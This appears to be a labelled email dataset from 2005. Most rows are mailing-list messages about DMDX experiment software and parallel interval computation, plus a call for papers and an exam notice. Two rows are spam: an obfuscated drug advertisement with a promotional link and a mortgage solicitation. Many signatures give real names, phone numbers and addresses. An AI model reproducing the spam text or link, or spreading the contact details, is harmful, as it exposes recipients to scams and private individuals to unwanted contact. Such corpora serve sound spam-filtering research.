Ranmalee Eramudugolla Department of Psychology Faculty of Medicine, Nursing and Health Sciences Monash University Clayton Campus VIC 3800 Australia Phone: +61 (03) 9905 3487 Mobile:+61 0403 705 104 -------------------------------------------------",0,0 Bartlomiej Jacek KUBICA ,reliable computing ,"Thu, 25 Aug 2005 18:40:35 +0200",parallel interval computations," Dear Interval Researchers, At the moment I'm interested in links between parallel computations and intervals - in a very wide meaning: from simple parallelizations of a branch-and-bound method to quite sophisticated methods and applications. I have two questions: 1) Do you know any _recent_ papers dealing with parallel interval methods ? I have found several papers, but they are quite old - usually from before the year 2000. 2) Doeas any of you have access to works about so-called ,,wave computations'', a concept developed by Russian scientists (Yakovlev, Musaev et al.), using parallel inteval methods with not the full precison, but only as much as is required (roughly speaking) ? Thank you in advance Bartlomiej Kubica ",0,0 cgapsavings@worldbank.org,devfinance@postoffice.ag.ohio-state.edu,"Thu, 25 Aug 2005 16:18:22 -0400",New on the CGAP Savings Information Resource Center this month,"No. 3 August 2005 What's New on the SIRC? The CGAP Savings Information Resource Center (SIRC) is your one-stop shop for information on small-balance deposit services among poor and excluded communities. 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Check out new country pages on Mongolia and Cambodia in the Virtual Study Tour Read new papers on the Savings Mobilization Online Library Visit the Savings Information Resource Center online, send us your feedback, and feel free to forward this message to interested colleagues and partners You have been sent this e-mail because you are on the CGAP Savings List If you prefer not to receive further e-mails, please e-mail us at cgapsavings@worldbank.org ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 25 Aug 2005 20:57:44 -0700",[DMDX] Re: question about branching,"So turn the branch diagnostics on to see what's happening with and then look in the data file for added information. My bet is it's your use of brackets in the branch, brackets are badly busted in the code I grabbed to evaluate DMDX's expressions. At 01:20 PM 8/19/2005 +0800, you wrote: >I am a new user of DMDX in china(so my system language is simplified >chinese),and I have a question about the branching keyword. I want to >display some bitmap pictures in circulation.But it dosn't work as my wish. >My script is following: > >0 ; >1 ""1""; >2 ""2""; >3 ""2"", ""1""; >4 ; >0 ""the end""; > >But there is no circulation! the diagnostics is following: >DMDX Vers. 3.1.4.1 08/19/2005 12:29:49 on machine PSYLAB-DPS2NPES >DMDX Vers. 3.1.4.1 >Item File Parsed file is >Getting file -- Wait >No scramble >Scrambled file is >Available DI device <Êó±ê> (? >Available DI device <¼üÅÌ> (? >Input Device selection failed >Available DI device <¼üÅÌ> (? >EXPERIMENT READY >15 video memory buffers at 800x600 16 bpp >0 ; >Preparation A 0.07ms, B 0.05ms >1 ""1""; >Preparation A 0.72ms, B 0.16ms >2 ""2""; >Preparation A 1.18ms, B 0.78ms >3 ""2"", ""1""; >Preparation A 0.68ms, B 1.04ms >4 ; >0 ""end""; >JOB ABORTED > >I can't use the branching keywords as what is instructed in the DMDX help >files.On the other hand, I found that the circulation can be made by >adding a symbol '!' before the end line, the modified script is following: > >0 ; >1 ¡±1¡±; >2 ¡±2¡±; >3 ¡±2¡±, ¡±1¡±; >4 ; >!0 ¡°end¡±; > >Although it runs, there is still somthing wrong -- DMDX warnded me ""read >error"". The diagnostics is following: >DMDX Vers. 3.1.4.1 08/19/2005 12:39:18 on machine PSYLAB-DPS2NPES >DMDX Vers. 3.1.4.1 >Item File Parsed file is >Getting file -- Wait >No scramble >Scrambled file is >Available DI device <Êó±ê> (? >Available DI device <¼üÅÌ> (? >Input Device selection failed >Available DI device <¼üÅÌ> (? >EXPERIMENT READY >15 video memory buffers at 800x600 16 bpp >0 ; >Preparation A 0.06ms, B 0.05ms >1 ""1""; >Preparation A 0.70ms, B 0.16ms >2 ""2""; >Preparation A 1.17ms, B 0.76ms >3 ""2"", ""1""; >Preparation A 0.74ms, B 1.00ms >4 ; >1 ""1""; >Preparation A 0.83ms, B 0.16ms >2 ""2""; >Preparation A 2.41ms, B 0.78ms >3 ""2"", ""1""; >Preparation A 0.76ms, B 1.02ms >4 ; >Preparation A 0.13ms, B 0.67ms >Preparation A 0.00ms, B 0.00ms >READ ERROR >JOB ABORTED > >What's the matter? And what I should do to make the pictures displaying >circularly ? I beg your advice. >Thanks a lot, >best wishes. >Your sincerely >Sun De Lin >sundelinustc@hotmail.com > >_________________________________________________________________ >Ãâ·ÑÏÂÔØ MSN Explorer: http://explorer.msn.com/lccn/ > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There's no real need to do housework -- after four years it doesn't get any worse.",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 25 Aug 2005 20:58:45 -0700",[DMDX] Re: problem playing movies,"At 08:18 AM 8/22/2005 -0500, you wrote: >I am having a problem playing movies (avi files) in DMDX. We are >using the most recent version of DMDX on a Win98 machine (its a shared >fMRI lab and the person responsible for computers is not willing to >upgrade OS). > >The avi files slow noticeably for the last handful of frames. On >occasion, there is even noticeable slowing in the middle of the (3 >second) movie. The movies do play normally (without slowing) using >windows media player. The movies also play normally with DMDX on a >few other machines running XP. Thoughts on where the problem lies >with this Win98 machine? I'd take a wild punt and say it's win98 that's the problem. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There's no real need to do housework -- after four years it doesn't get any worse. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 25 Aug 2005 20:59:43 -0700",[DMDX] Re: more movie details," I haven't done anything with '98 for years so I can't really suggest too much. At 11:55 AM 8/23/2005 -0500, you wrote: >Further details on our movie problem. > >File plays fine in Digital video test with TimeDX (including check >boxes to track retrace and to initialize DirectSound). > >File is 720X 480, 24 bit, 90 frames at 29.970ms/frame and using the >Cinepac codec. >DMDX script is using 800 X 600, 16 bit. at 60hz. >Processor is a PIII with 896MB of RAM. > >Tried updating DirectX to v9.0. Didnt fix problem >Tried updating/changing Cinepac codec. Didnt fix problem. >Tried pre-loading video (with medialife). Didnt fix problem. > >Thanks J > >-- >John J. Curtin, Ph.D. >Assistant Professor of Psychology >University of Wisconsin >1202 West Johnson St. >Madison, WI 53706 > >Email: jjcurtin@wisc.edu >Website: http://dionysus.psych.wisc.edu >Office: 608-262-0387 >Lab: 608-262-5621 >Cell: 608-217-6221 >Fax: 608-262-4029 > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There's no real need to do housework -- after four years it doesn't get any worse. ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 25 Aug 2005 21:02:16 -0700",[DMDX] Re: 1024 x 768 resolution at 160 Hz,"There are about a dozen places the refresh rate of a display can be limited. Does the machine recognize that it has your monitor or does it just say ""Plug and Play Monitor""? At 01:18 PM 8/24/2005 -0400, you wrote: >Hi! > >I wrote a while back with a question about resolution and refresh rates. I >have a new monitor Iiyama HM204DT and the specs say that at 1024x 768 >res., I can have a refresh rate of maximum 178Hz. At the moment, my screen >is set on 1024 x 768 res. and at a refresh rate of 160 Hz. This is a new >monitor bought because of these specific possibilities - high refresh rate >at high-ish resolution. My Video card is a Radeon 7500 with the latest >drivers installed. I called ATI and the support people there told me this >card, with the proper monitor, which I now have, can support up to 200 Hz >refresh rate. Still, with this equipement, I get a maximum refresh rate of >85Hz in TimeDX in the Select Video Mode Menu. What do I need to do to have >DMDX run at the high refresh rate that I need? > >Thanks for your help, > >Nathalie > >-- > >Nathalie Bélanger > >Ph.D. Student >School of Communication Sciences and Disorders >McGill University >1266 Avenue des Pins ouest >Montréal, Québec >Canada H3G 1A8 >Tel.: (514) 398-6895 > > >Previous emailing below: > > >Jonathan C. Forster a écrit: >>At 12:02 PM 4/28/2005 -0400, you wrote: >>>Hello! >>> >>>I wish to run a masked priming experiment with DMDX. My prime durations >>>are extremely brief (14, 24 and 34 ms) and it was recommended to me that >>>I set my screen refresh rate very high to avoid much variability in the >>>presentation of my primes. I also need this resolution because I will be >>>running an eye-tracking study with the same stimuli and prime durations. >>>I need both experimentations to be compatible. I have a couple of >>>interrogations: >>> >>>(1) The video mode in DMDX can be set at 85 Hz maximum and I am >>>wondering what setting I should use since my monitor is set at 160hz. >> >> Your monitor might be capable of running at 160Hz but it isn't set at >> 160Hz, it will run at any speed up to 160Hz. DMDX simply reflects what >> the operating system says the display can handle, if it's not what you >> want you can try new video drivers and if that doesn't work you'll >> probably have to get a new video card. >> >> >>>I have already tried the help files and I have read a thread on this in >>>the mailinig list but I didn't really understand. I am very new at >>>dealing with hardware and timing issues. If someone could provide me >>>info in laymen terms, I would appreciate. I have updated the pilots of >>>my monitor (ViewSonic P95f+) and of my graphic card (Radeon 7500). >> >> My guess based on my experience with Radeon 7500 is that it isn't >> capable of providing a display at 160Hz. >> >> >>>(2) Also, when I run the millisecond timer test in the basic tests >>>section, it gives me a value of -0.00 ms for the refresh rate! Somehow, >>>I think that is now quite what it should be. >> >> You can try checking the ""Read Between Flips to stop Cheating Video >> Drivers"". If that doesn't get it it sounds like you're a prime >> candidate for new video drivers from ati.com. >> >> >> /""\\ >> -jonathan (j.c.f.) \\ / >> X >> >> >> >>==================================================================== >> Send mail to >> DMDX-request@psy1.psych.arizona.edu >> with the word >> 'unsubscribe' by itself with no quotes in the body of the email >> to be removed from the list. The list archive is available here: >> >>http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >> >>==================================================================== >> > /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There's no real need to do housework -- after four years it doesn't get any worse.",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 25 Aug 2005 21:03:49 -0700",[DMDX] Re: intermittent problems opening files,"Check the machine for viruses and then check it for aware and then check it's hard disk surface for bad sectors. At 10:57 AM 8/25/2005 +1000, you wrote: >Hi all, > >I am not sure whether this is an issue with dmdx, or something else, >but i am encountering frequent problems running item files, and the >error message indicates that dmdx cannot open any of the .wavs >or .bmps. The problem started occuring fairly suddenly. I can't see >anything wrong with my .rtf script, and indeed sometimes, dmdx will run >the item file without any difficulties at all - implying that it can >find the files in the folder containing the dmdx program. But why >doesn't it work all the time? I've reinstalled the newest version of >dmdx, and the problem continues. Does anyone have any ideas? > >regards >Ranmalee > >Here is a short example of one of my files: > >n110 s5 g2 > > >$ 0""Auditory search task with scenes of 6 sounds - press spacebar to >proceed"";$ >0 ""Press spacebar when ready""; > >-2000 ""ring"" %60/*""6N000"";0 ""Press spacebar when >ready""; > > >+1001 ""trumpet"" %60/*""6N001"";0 ""Press spacebar when >ready""; > > >+1002 ""ring"" %60/*""6N002"";0 ""Press spacebar when >ready""; > > >-2003 ""trumpet"" %60/*""6N003"";0 ""Press spacebar when >ready""; > > >-2004 ""birds"" %60/*""6N004"";0 ""Press spacebar when >ready""; > > >+1005 ""piano"" %60/*""6N005"";0 ""Press spacebar when >ready""; > >+1109 ""birds"" %60/*""6N109""; >$0 ""End of block, Thank you"";$ > >-- >------------------------------------------------- >Ranmalee Eramudugolla >Department of Psychology >Faculty of Medicine, Nursing and Health Sciences >Monash University >Clayton Campus >VIC 3800 >Australia > >Phone: +61 (03) 9905 3487 >Mobile:+61 0403 705 104 >------------------------------------------------- > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There's no real need to do housework -- after four years it doesn't get any worse.",0,1 Judith Codd ,DMDX@psy1.psych.arizona.edu,"Fri, 26 Aug 2005 04:01:29 -0400",[DMDX] Judith Codd is out of the office.,"I will be out of the office starting 25/08/2005 and will not return until 06/09/2005. I will respond to your message when I return.",0,0 John Curtin ,DMDX@psy1.psych.arizona.edu,"Fri, 26 Aug 2005 08:49:04 -0500",[DMDX] Re: problem playing movies,"Jonathan, If I had any control over the resources, I would upgrade. However, other labs using this facility (an fMRI center) are using Presentation for stimulus control and that software makes a big deal about claiming to get better timing precision on Win98 than later versions of windows. We are willing to take a shotgun approach to trying to fix this problem on Win98. As I said in previous emails, we updated DirectX, checked and updated the codec, and tried pre-loading with medialife. We are considering blindly trying the following: 1. Changing movie formats to everything else that we can try (Mpeg, quicktime, and anything else we can track down codecs for) 2. Changing the color depth of the movie files from 24 bit (which they currently are) to 16 bit. 3. Updating the drivers for the video card. Is there anything else that comes to mind to you that we might try (we are willing to try low probability fixes too!) Best, John On 8/22/05, John Curtin wrote: > I am having a problem playing movies (avi files) in DMDX. We are > using the most recent version of DMDX on a Win98 machine (its a shared > fMRI lab and the person responsible for computers is not willing to > upgrade OS). > > The avi files slow noticeably for the last handful of frames. On > occasion, there is even noticeable slowing in the middle of the (3 > second) movie. The movies do play normally (without slowing) using > windows media player. The movies also play normally with DMDX on a > few other machines running XP. Thoughts on where the problem lies > with this Win98 machine? > > Thanks for any help? > John > > -- > John J. Curtin, Ph.D. > Assistant Professor of Psychology > University of Wisconsin > 1202 West Johnson St. > Madison, WI 53706 > > Email: jjcurtin@wisc.edu > Website: http://dionysus.psych.wisc.edu > Office: 608-262-0387 > Lab: 608-262-5621 > Cell: 608-217-6221 > Fax: 608-262-4029 > -- John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Website: http://dionysus.psych.wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 26 Aug 2005 07:51:51 -0700",[DMDX] Re: intermittent problems opening files," Check it a_d_ware... At 09:03 PM 8/25/2005 -0700, you wrote: >Check the machine for viruses and then check it for aware and then check >it's hard disk surface for bad sectors. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There's no real need to do housework -- after four years it doesn't get any worse. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 26 Aug 2005 07:56:09 -0700",[DMDX] Re: problem playing movies,"At 08:49 AM 8/26/2005 -0500, you wrote: >1. Changing movie formats to everything else that we can try (Mpeg, >quicktime, and anything else we can track down codecs for) > >2. Changing the color depth of the movie files from 24 bit (which >they currently are) to 16 bit. > >3. Updating the drivers for the video card. > >Is there anything else that comes to mind to you that we might try (we >are willing to try low probability fixes too!) Those are all good things but I'd be trying a reformat too, win98 can build up crud and just tank on it's own without anything specific being wrong. I guess you could tamper with the retrace interval timing parameters, giving less sleep time or smaller number of lines to blit to give the video decoder more time to do it's thing. Perhaps a larger number of lines to blit would work too, who knows, it's a big black box. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There's no real need to do housework -- after four years it doesn't get any worse. ",0,0 John Kline ,"DMDX@psy1.psych.arizona.edu, jjcurtin@wisc.edu","Fri, 26 Aug 2005 09:59:42 -0500",[DMDX] Re: problem playing movies,"John, I haven't tried playing movies in DMDX, and don't know if this is relevant, but you may wish to make sure that the movie is straight MPEG or AVI, and does not require some sort of codec (e.g. like divx) in order to be played. John Kline John P. Kline, Ph.D. Department of Psychology 381 Life Sciences Building University of South Alabama Mobile, AL 36688-0002 Phone: (251) 460-7280 Fax: (251) 460-6320 Email: kline@usouthal.edu http://www.usouthal.edu/psychology/kline/ ",0,1 """International Sophus Lie Centre Ltd."" ","Bartlomiej Jacek KUBICA , reliable computing ","Sat, 27 Aug 2005 01:09:16 +0400",Re: parallel interval computations,"Dear Colleague, Please, take a look at the following papers: G.L. Litvinov and S.N. Sobolevskii, 1) Exact interval solutions to the discrete Bellman equation and polynomial complexity of problems in interval idempotent linear algebra, Doklady Mathematics, v. 62, 2000, #2, p. 199-201. It is available in arXiv: math.RA/0101041 (http://arXiv.org). 2) Idempotent interval analysis and optimization problems, Reliable Computing, v. 7, 2001, #5, p. 353-377. It is available in arXiv: math.NA/0101080 (http://arXiv.org). See also references in these papers. The idea is that basic optimization problems and their interval versions are linear over appropriate numerical idempotent semirings. In this case there is a very good interval analysis (interval estimates are exact) and parallel interval computations can be implemented by the same way as in the traditional linear algebra. The corresponding interval problems are polynomial. With all the best wishes, Grigory Litvinov =================================== See below: On Thu, 25 Aug 2005 18:40:35 +0200 (CEST) Bartlomiej Jacek KUBICA wrote: > >Dear Interval Researchers, > >At the moment I'm interested in links between parallel >computations and intervals - in a very wide meaning: from >simple parallelizations of a branch-and-bound method to >quite sophisticated methods and applications. > >I have two questions: > >1) Do you know any _recent_ papers dealing with parallel >interval methods ? >I have found several papers, but they are quite old - >usually from before the year 2000. > >2) Doeas any of you have access to works about so-called >,,wave computations'', a concept developed by Russian >scientists (Yakovlev, Musaev et al.), using parallel >inteval methods with not the full precison, but only as >much as is required (roughly speaking) ? > >Thank you in advance > Bartlomiej Kubica",0,1 Joanna Musial ,DMDX@psy1.psych.arizona.edu,"Fri, 26 Aug 2005 20:15:36 -0700",[DMDX] DMDX problem,"Hi, My name is Joanna Musial. I am Montclair State University undergraduate student. I use DMDX program in my research. I have a problem with running the experiment. The computer shows below message everytime I try to run a syntax check: Getting file - Wait No scramble Scrambled File is available DI device [Mouse] available DI device [Tastiera] Input device selection failed Tastiera in Italian means keyboard, that is why I thought it could depend on the Italian keyboard set up in my laptop. I set up the American keyboard, but it doesn't work either. This is the farthest the program goes. If I just click on RUN without trying to run any syntax check, the answer is the same. I'd appreciate any help. Sincerely, Joanna Musial",0,0 Mark Stadtherr ,Bartlomiej Jacek KUBICA ,"Sat, 27 Aug 2005 00:07:13 -0500",Re: parallel interval computations,"See C.-Y. Gau and M. A. Stadtherr, ""Dynamic Load Balancing for Parallel Interval-Newton Using Message Passing,"" Comput. Chem. Eng., 26, 811-825 (2002). (http://www.nd.edu/~markst/cyg2002a.pdf) Mark ==================== Quoting Bartlomiej Jacek KUBICA : > > Dear Interval Researchers, > > At the moment I'm interested in links between parallel computations and > intervals - in a very wide meaning: from simple parallelizations of a > branch-and-bound method to quite sophisticated methods and applications. > > I have two questions: > > 1) Do you know any _recent_ papers dealing with parallel interval methods ? > I have found several papers, but they are quite old - usually from before > the year 2000. > > 2) Doeas any of you have access to works about so-called ,,wave > computations'', a concept developed by Russian scientists (Yakovlev, > Musaev et al.), using parallel inteval methods with not the full precison, > but only as much as is required (roughly speaking) ? > > Thank you in advance > Bartlomiej Kubica >",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 27 Aug 2005 05:46:09 -0700",[DMDX] Re: DMDX problem,"Put in the parameter line of the item file. Because DMDX doesn't recognize that device you'll also have to map the shift keys (or other keys if you don't like the shift keys) to the responses with , and . You'll have to use TimeDX's input test to see what someitaliankeyname should be. At 08:15 PM 8/26/2005 -0700, you wrote: >Hi, > >My name is Joanna Musial. I am Montclair State University undergraduate >student. I use DMDX program in my research. >I have a problem with running the experiment. >The computer shows below message everytime I try to run a syntax check: > >Getting file - Wait >No scramble >Scrambled File is >available DI device [Mouse] >available DI device [Tastiera] >Input device selection failed > >Tastiera in Italian means keyboard, that is why I thought it could depend >on the Italian keyboard set up in my laptop. I set up the American >keyboard, but it doesn't work either. This is the farthest the program goes. > >If I just click on RUN without trying to run any syntax check, the answer >is the same. > >I'd appreciate any help. > >Sincerely, > >Joanna Musial > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""He has all the virtues I dislike and none of the vices I admire."" - Sir Winston Churchill (1874-1965)",0,1 Nathalie Bélanger ,DMDX@psy1.psych.arizona.edu,"Sat, 27 Aug 2005 12:49:32 -0400",[DMDX] Re: 1024 x 768 resolution at 160 Hz,"Hi! Yes, it says jut that, ''Plug and Play Monitor''. Nathalie j.c.f. a écrit: > > There are about a dozen places the refresh rate of a display can be > limited. Does the machine recognize that it has your monitor or does > it just say ""Plug and Play Monitor""? > > At 01:18 PM 8/24/2005 -0400, you wrote: > >> Hi! >> >> I wrote a while back with a question about resolution and refresh >> rates. I have a new monitor Iiyama HM204DT and the specs say that at >> 1024x 768 res., I can have a refresh rate of maximum 178Hz. At the >> moment, my screen is set on 1024 x 768 res. and at a refresh rate of >> 160 Hz. This is a new monitor bought because of these specific >> possibilities - high refresh rate at high-ish resolution. My Video >> card is a Radeon 7500 with the latest drivers installed. I called ATI >> and the support people there told me this card, with the proper >> monitor, which I now have, can support up to 200 Hz refresh rate. >> Still, with this equipement, I get a maximum refresh rate of 85Hz in >> TimeDX in the Select Video Mode Menu. What do I need to do to have >> DMDX run at the high refresh rate that I need? >> >> Thanks for your help, >> >> Nathalie >> >> -- >> >> Nathalie Bélanger >> >> Ph.D. Student >> School of Communication Sciences and Disorders >> McGill University >> 1266 Avenue des Pins ouest >> Montréal, Québec >> Canada H3G 1A8 >> Tel.: (514) 398-6895 >> >> >> Previous emailing below: >> >> >> Jonathan C. Forster a écrit: >> >>> At 12:02 PM 4/28/2005 -0400, you wrote: >>> >>>> Hello! >>>> >>>> I wish to run a masked priming experiment with DMDX. My prime >>>> durations are extremely brief (14, 24 and 34 ms) and it was >>>> recommended to me that I set my screen refresh rate very high to >>>> avoid much variability in the presentation of my primes. I also >>>> need this resolution because I will be running an eye-tracking >>>> study with the same stimuli and prime durations. I need both >>>> experimentations to be compatible. I have a couple of interrogations: >>>> >>>> (1) The video mode in DMDX can be set at 85 Hz maximum and I am >>>> wondering what setting I should use since my monitor is set at 160hz. >>> >>> >>> Your monitor might be capable of running at 160Hz but it isn't set >>> at 160Hz, it will run at any speed up to 160Hz. DMDX simply >>> reflects what the operating system says the display can handle, if >>> it's not what you want you can try new video drivers and if that >>> doesn't work you'll probably have to get a new video card. >>> >>> >>>> I have already tried the help files and I have read a thread on >>>> this in the mailinig list but I didn't really understand. I am very >>>> new at dealing with hardware and timing issues. If someone could >>>> provide me info in laymen terms, I would appreciate. I have updated >>>> the pilots of my monitor (ViewSonic P95f+) and of my graphic card >>>> (Radeon 7500). >>> >>> >>> My guess based on my experience with Radeon 7500 is that it isn't >>> capable of providing a display at 160Hz. >>> >>> >>>> (2) Also, when I run the millisecond timer test in the basic tests >>>> section, it gives me a value of -0.00 ms for the refresh rate! >>>> Somehow, I think that is now quite what it should be. >>> >>> >>> You can try checking the ""Read Between Flips to stop Cheating >>> Video Drivers"". If that doesn't get it it sounds like you're a >>> prime candidate for new video drivers from ati.com. >>> >>> >>> /""\\ >>> -jonathan (j.c.f.) \\ / >>> X >>> >>> >>> >>> ==================================================================== >>> Send mail to >>> DMDX-request@psy1.psych.arizona.edu >>> with the word >>> 'unsubscribe' by itself with no quotes in the body of the email >>> to be removed from the list. The list archive is available here: >>> >>> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >>> >>> ==================================================================== >>> >> > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > There's no real need to do housework -- after four years it doesn't get > any worse. > > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > > -- Nathalie Bélanger Ph.D. Student School of Communication Sciences and Disorders McGill University 1266 Avenue des Pins ouest Montréal, Québec Canada H3G 1A8 Tel.: (514) 398-6895",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 27 Aug 2005 12:19:11 -0700",[DMDX] Re: 1024 x 768 resolution at 160 Hz,"At 12:49 PM 8/27/2005 -0400, you wrote: >Hi! >Yes, it says jut that, ''Plug and Play Monitor''. That's the first of your problems then, P&P monitors don't do much more than 85 Hz. You'll have to find the disk that came with the monitor and install some drivers for it, if it didn't come with a disk you'll have to find them on the internet or bug the manufacturer or salesperson for them. Once XP recognizes the monitor there's a good chance you'll get to use the faster refresh rates. If not try reinstalling the video drivers after getting XP to recognize the monitor (I saw some Intel video drivers need this here the other day). /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""He has all the virtues I dislike and none of the vices I admire."" - Sir Winston Churchill (1874-1965) ",0,0 Nathalie Bélanger ,DMDX@psy1.psych.arizona.edu,"Sat, 27 Aug 2005 15:55:48 -0400",[DMDX] Re: 1024 x 768 resolution at 160 Hz,"It works!!!! Thanks! Nathalie j.c.f. a écrit: > At 12:49 PM 8/27/2005 -0400, you wrote: > >> Hi! >> Yes, it says jut that, ''Plug and Play Monitor''. > > > > That's the first of your problems then, P&P monitors don't do much > more than 85 Hz. You'll have to find the disk that came with the > monitor and install some drivers for it, if it didn't come with a disk > you'll have to find them on the internet or bug the manufacturer or > salesperson for them. Once XP recognizes the monitor there's a good > chance you'll get to use the faster refresh rates. If not try > reinstalling the video drivers after getting XP to recognize the > monitor (I saw some Intel video drivers need this here the other day). > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > ""He has all the virtues I dislike and none of the vices I > admire."" > - Sir Winston Churchill (1874-1965) > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > > -- Nathalie Bélanger Ph.D. Student School of Communication Sciences and Disorders McGill University 1266 Avenue des Pins ouest Montréal, Québec Canada H3G 1A8 Tel.: (514) 398-6895 ",0,1 Oneida Fine ,lena@jalapeno.cc.columbia.edu,"Mon, 29 Aug 2005 15:47:59 -0700",Re: your AkMBtEN,"Hi X V A P C L V a I m r I e A n A b o A v L a G i z L i I x R e a I t U A n c S ra M http://www.motiloyu.com in the forest they could see no change. Yet if they had known more about it and considered the meaning of the hunt and the white deer that had appeared upon their path, they would have known that they were at last drawing towards the eastern edge, and would soon have come, if they could have kept up their courage and their hope, to thinner trees and places where the sunlight came again. But they did not know this, and ",1,1 """Kreinovich, Vladik"" ","reliable_computing@interval.louisiana.edu, interval@listserv.utep.edu","Mon, 29 Aug 2005 22:53:27 -0600","FW: 2nd CFP: M4M-4 ""Methods for Modalities"";Berlin, Dec. 1-2, 2005","Forwarding. This may be of interest to researchers in modal interval analysis. Apologies if you receive this CFP more than once. Please note that the submission deadline has been extended to Sep. 15th! *************************************************************************** The workshop ""Methods for Modalities"" (M4M) aims to bring together researchers interested in developing algorithms, verification methods and tools based on modal logics. Here the term ""modal logics"" is conceived broadly, including description logic, guarded fragments, conditional logic, temporal and hybrid logic, etc. To stimulate interaction and transfer of expertise, M4M will feature a number of invited talks by leading scientists, research presentations aimed at highlighting new developments, and submissions of system demonstrations. We strongly encourage young researchers and students to submit papers and posters, especially for experimental and prototypical software tools which are related to modal logics. Invited speakers: François Laroussinie, ENS Cachan and CNRS Martin Lange, Ludwig-Maximilians-Universität Wim Martens, Hasselt University Boris Motik, Universität Karlsruhe Boris Konev, University of Liverpool Uwe Scheffler, Humboldt Universität Regular papers should not exceed the length of 12 pages; short papers are up to six pages of length, and posters and tools can be presented on two pages of text. Proceedings will appear online and as a Humboldt university report. Depending on the submissions, papers may be selected to appear in a special issue of an appropriate journal. Submission is by internet or email. You can (preferrably) upload your PostScript or PDF contribution to the address http://www.easychair.org/M4M-4/submit/ or (alternatively) send it to m4m-4@first.fraunhofer.de. The workshop will take place in Berlin - Adlershof, Germany, which is one of the worlds largest science and technology areas, comprising twelve research institutes, six faculties of the Humboldt University of Berlin, and more than 370 high tech companies. It is hosted by FIRST, the Fraunhofer Institute of Computer Architecture and Software Technology, in collaboration with the computer science institute of Humboldt University. For more information and registration information, see the M4M homepage at http://m4m.loria.fr/ Deadline for submissions: September 15th, 2005 (extended!) Notification: October 17, 2005 Camera ready versions: November 8, 2005 Workshop dates: December 1-2, 2005 The program committee for M4M consists of Holger Schlingloff, Humboldt University / FIRST (local organizations); Carlos Areces, INRIA Lorraine; Patrick Blackburn, INRIA Lorraine; Torben Brauner, Roskilde University; Stephane Demri, ENS de Cachan; Enrico Franconi, Free University of Bolzano; Rajeev Gore, Australian National University; Ian Horrocks, University of Manchester; Joost-Pieter Katoen, RWTH Aachen; Maarten de Rijke, University of Amsterdam; Renate Schmidt, University of Manchester; and Frank Wolter, University of Liverpool. ",0,1 Murdo Hawkin ,reliable_computing-outgoing@interval.louisiana.edu,"Mon, 29 Aug 2005 23:43:01 -0700",Re: oaaog news,"D b ear Home Ow b ne p r , Your cr p edi t t doesn't matter to us ! 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V u isi j t ou o r site Sincerely, Murdo Hawkin Ap y pr s oval Manager",1,1 Virginia Kay ,enclgrads@CUVMC.AIS.COLUMBIA.EDU,"Tue, 30 Aug 2005 11:02:42 -0400",PROFICIENCY EXAM,"ITALIAN PROFICIENCY EXAM The Italian language proficiency examination will be offered by the Department of Italian on Friday, Sept. 9, 2005 10:00 a.m.-12:00 p.m. 501 Hamilton Hall To sign up, call or visit the Italian Department (502 Hamilton), 212-854-2308 or email ck2207@columbia.edu The examination consists of a translation of one 